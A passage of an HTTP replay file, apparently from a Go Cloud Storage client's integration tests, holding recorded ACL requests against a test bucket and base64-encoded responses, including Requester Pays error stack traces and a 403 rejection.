yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9YmFkUmVxdWVzdCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uUkVRVUlSRUQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfTUlTU0lORzogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4ifX0=" - } - }, - { - "ID": "a2868e9e376e356b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2800" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoyZfAJB3TroGxzYv0gy7dHUwpU0jtIeU_EyQSFQKzHlHbyRa33r_a-B1aHw5tHaoawuDvv7skisdx10yhmm9ZRrPw0ibwpMkX5Cwhf0OK85DF84jM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoidXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9kb21haW4tZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In1dfQ==" - } - }, - { - "ID": "ffb216dc74ccc27e", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13059" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqBumxgw_FTJlt7J3xLsBDxljAcEyC2G5aQqhEibawMttB-ogPabqDfz8ZN65WtOikIggZQ8OqW8zigV4Q5vfQkog7NMasAuivcMjhAsgqv_6qWv_E" - ] - }, - "Body": 